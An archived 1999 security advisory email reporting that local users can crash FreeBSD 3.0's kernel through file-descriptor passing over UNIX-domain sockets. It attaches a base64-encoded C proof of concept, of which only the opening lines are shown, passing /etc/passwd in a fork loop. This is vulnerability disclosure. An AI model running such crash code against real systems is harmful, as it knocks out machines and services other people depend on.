Date: Wed, 5 May 1999 11:26:21 +0200
From: Lukasz Luzar <lluzar@SECURITY.KKI.PL.>
To: [email protected]Subject: KKIS.05051999.003b
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to [email protected] for more info.
--1958937097-2116286281-925896381=:17696
Content-Type: TEXT/PLAIN; charset=US-ASCII
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### ### ### ### ###
### ### ### ### ###
###### ###### ###
### ### ### ### ###
### ### ### ### ###
S E C U R I T Y
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Contacts ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
KKI Security Team Cracow Commercial Internet
http://www.security.kki.plhttp://www.kki.pl
mailto:security@security.kki.pl. mailto:biuro@kki.pl.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Informations ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Report title : Security problem with sockets in FreeBSD's
implementation of UNIX-domain protocol family.
Problem found by : Lukasz Luzar ([email protected])
Report created by : Robert Pajak ([email protected])
Lukasz Luzar ([email protected])
Raport published : 5th May 1999
Raport code : KKIS.05051999.003.b
Systems affected : FreeBSD-3.0 and maybe 3.1,
Archive : http://www.security.kki.pl/advisories/
Risk level : high
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Description ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
As you know, "The UNIX-domain protocol family is a collection of protocols
that provides local interprocess communication through the normal socket
mechanism. It supports the SOCK_STREAM and SOCK_DGRAM soceket types and uses
filesystem pathnames for addressing."
The SOCK_STREAM sockets also supports the communication of UNIX file
descriptors through the use of functions sendmsg() and recvmsg().
While testing UNIX-domain protocols, we have found probable bug in
FreeBSD's implementation of this mechanism.
When we had run attached example on FreeBSD-3.0 as local user, system
had crashed imediatelly with error "Supervisor read, page not present"
in kernel mode.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Example ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Look to attached example.
~~~~~~~~~~~~~~~~~~~~~~~~~~[ Copyright statement ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright (c) 1999 KKI Security Team, Poland
All rights reserved.
All questions please address to mailto:security@security.kki.pl.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
--1958937097-2116286281-925896381=:17696
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="example.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.10.9905051126210.17696@nova.kki.krakow.pl.>
Content-Description:
Content-Disposition: attachment; filename="example.c"
I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQoj
aW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPHN5cy91bi5oPg0K
I2luY2x1ZGUgPGZjbnRsLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQoNCiNk
ZWZpbmUgUEFUSCAiL3RtcC8xMjMiDQojZGVmaW5lIFBBVEhfVE1QICIvdG1w
LzEyMy50bXAiDQojZGVmaW5lIFNPTUVfRklMRSAiL2V0Yy9wYXNzd2QiDQoN
CnN0cnVjdCBteWNtc2doZHIgew0KCXN0cnVjdCBjbXNnaGRyIGhkcjsNCglp
bnQJZmQ7DQp9Ow0KDQpleHRlcm4gZXJybm87DQoNCnZvaWQgc2VydmVyKCk7
DQp2b2lkIGNsaWVudCgpOw0KDQp2b2lkIG1haW4oKQ0Kew0KCXN3aXRjaCAo
IGZvcmsoKSkgew0KCWNhc2UgLTE6DQoJCXByaW50ZiggImZvcmsgZXJyb3Ig
JWRcbiIsZXJybm8pOw0KCQlicmVhazsNCgljYXNlIDA6DQoJCWZvciAoOzsp
IGNsaWVudCgpOw0KC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